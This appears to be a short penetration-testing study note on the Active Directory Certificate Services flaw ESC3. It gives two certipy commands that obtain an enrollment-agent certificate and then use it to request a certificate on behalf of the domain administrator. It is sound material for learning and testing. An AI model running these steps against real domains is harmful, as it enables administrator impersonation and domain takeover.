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Active Directory - Certificate ESC3

Active Directory - Certificate ESC3

ESC3 - Misconfigured Enrollment Agent Templates

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

  • Request a certificate based on the vulnerable certificate template ESC3.

    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'

  • Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user

    certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

References

☧ CPTS · ordered posts

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